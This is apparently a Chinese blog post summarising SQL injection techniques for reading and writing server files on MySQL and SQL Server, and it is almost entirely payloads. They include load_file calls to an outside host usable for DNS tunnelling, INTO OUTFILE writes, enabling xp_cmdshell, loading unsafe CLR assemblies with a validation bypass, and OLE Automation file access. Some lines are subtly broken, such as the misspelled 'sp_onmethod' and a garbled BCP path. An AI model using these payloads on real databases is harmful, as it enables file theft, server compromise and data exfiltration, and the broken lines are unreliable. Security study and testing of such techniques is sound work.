關於SQL注入中檔案讀寫的方法總結，sql注入讀寫總結

關於SQL注入中檔案讀寫的方法總結，sql注入讀寫總結

前言

SQL注入有直接sql注入也有檔案讀寫時的注入了我們這篇文章介紹的是SQL注入中的檔案讀寫這一塊的內容，具體的一起來看看。

一、MySQL

讀檔案

常見的讀檔案，可以用16進位代替字串

select load_file('c:/boot.ini')select load_file(0x633a2f626f6f742e696e69)select load_file('//ecma.io/1.txt') # smb協議select load_file('\\\\ecma.io\\1.txt') # 可用於DNS隧道

寫檔案

我暫時已知l兩種寫檔案的方式

select 0x313233 into outfile 'D:/1.txt'

select 0x313233 into dumpfile 'D:/1.txt'

二、 SQL Server

讀檔案

1. BULK INSERT

create table result(res varchar(8000));bulk insert result from 'd:/1.txt';

2. CLR整合

// 開啟CLR整合exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'clr enabled',1reconfigure

create assembly sqb from 'd:\1.exe' with permission_set=unsafe

上面一句可以利用create assembly函數從遠程伺服器載入任何.NET二進位檔案到資料庫中;但是他會驗證是否為合法.NET程式，導致失敗，下面是讀取方式

select master.dbo.fn_varbintohexstr(cast(content as varbinary)) from sys.assembly_files

繞過，首先載入一個有效.NET的二進位檔案，然後追加檔案即可，下面是繞過方法。

create assembly sqb from 'd:\net.exe';alter assembly sqb add file from 'd:\1.txt'alter assembly sqb add file from 'd:\notnet.exe'

3. script.FileSystemObject

# 開啟Ole Automation Procedures sp_configure 'show advanced options',1;RECONFIGURE;sp_configure 'Ole Automation Procedures',1;RECONFIGURE;

declare @o int, @f int, @t int, @ret intdeclare @line varchar(8000)exec sp_oacreate 'scripting.filesystemobject',@o outexec sp_oamethod @o, 'opentextfile', @f out, 'd:\1.txt', 1exec @ret = sp_onmethod @f, 'readline', @line outwhile(@ret = 0) begin print @line exec @ret = sp_oamethod @f, 'readline', @line out end

寫檔案

1. script.FileSystemObject

declare @o int, @f int, @t int, @ret intdeclare @line varchar(8000)exec sp_oacreate 'scripting.filesystemobject',@o outexec sp_oamethod @o, 'createtextfile', @f out, 'e:\1.txt', 1exec @ret = sp_oamethod @f, 'writeline', NULL ,'This is the test string'

2. BCP複製檔案（測試失敗，無bcp.exe）

c:\windows>system32>bcp "select name from sysobjects" query testout.txt -c -s 127.0.0.1 -U sa -p"sa"

3. xp_cmdshell

exec xp_cmdshell 'echo test>d:\1.txt'

三、Oracle

pass，Oracle太坑了~~~幾乎都受到PL/SQL的限制，暫時不討論

總結

以上就是關於SQL注入中檔案的讀寫方法總結，希望本文的內容對大家的學習或者工作能帶來一定的協助，如果有疑問大家可以留言交流。